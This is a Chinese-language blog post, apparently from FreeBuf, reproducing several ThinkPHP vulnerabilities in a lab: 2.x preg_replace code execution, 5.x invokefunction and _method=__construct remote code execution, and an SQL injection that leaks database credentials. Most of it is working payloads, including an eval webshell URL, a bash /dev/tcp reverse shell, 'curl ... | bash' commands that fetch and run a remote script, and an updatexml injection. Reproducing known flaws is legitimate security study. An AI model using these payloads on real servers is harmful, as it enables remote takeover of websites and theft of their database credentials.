Thinkphp中间件漏洞复现笔记 – 作者:MISUagain

Thinkphp渗透总结

ThinkPHP可在Windows和Linux等操作系统运行,支持Mysql,Sqlite和PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

ThinkPHP 2.x 任意代码执行漏洞

漏洞原理:

ThinkPHP 2.x版本中,使用preg_replace的/e匹配路由

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响范围:

ThinkPHP 2.x

ThinkPHP 3.0版本因为Lite模式下没有修复,也存在该漏洞。

验证漏洞:

http://192.168.109.147:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

image-20210522173939088.png复现操作:

构造poc

http://192.168.109.147:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

image-20210522173507810.pngimage-20210522173851472.png反弹shell

bash -i >& /dev/tcp/192.168.109.147/8888 0>&1
python -m SimpleHTTPServer 80

image-20210522225622789.png

1=system("curl 192.168.109.9/shell.sh | bash");

image-20210522230408671.pngimage-20210522230515981.png
image-20210522231028592.png成功上线。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞

漏洞原理:

在版本5中,由于框架错误地处理了控制器名称,如果网站未启用强制路由(默认设置),则会导致RCE漏洞。

影响范围:

5.0.22 / 5.1.29

复现操作:

payload判断是否存在远程代码执行漏洞

http://192.168.109.147:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_a
rray&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

image-20210522235008667.png任意代码执行

http://192.168.253.7:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_arr
ay&vars[0]=system&vars[1][]=要写入的文件内容的url编码

Thinkphp5 5.0.23远程执行代码漏洞

漏洞原理:

在版本5.0(<5.0.24)中,框架在获取method的方法中没有正确处理方法名,使攻击者可以调用Request类的任何方法,攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响范围:

thinkphp 5.0.0 ~5.0.23

复现操作:

验证漏洞是否存在

POST /index.php?s=captcha HTTP/1.1
Host: 192.168.109.147:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20210523000844460.png反弹shell

curl 192.168.109.9/shell.sh | bash

image-20210523001240476.png
成功获得反弹shell。

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞原理:

传入的某参数在绑定编译指令时没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄露数据库的账号和密码。

影响范围:

ThinkPHP < 5.1.23

复现操作:

验证漏洞是否存在

http://192.168.109.147/index.php?ids[]=1&ids[]=2

image-20210523003139146.png构造poc

http://192.168.109.147/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

成功显示信息:

image-20210523004944098.png
枚举到mysql数据库用户名和密码。

来源:freebuf.com 2021-05-23 01:11:04 by: MISUagain

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论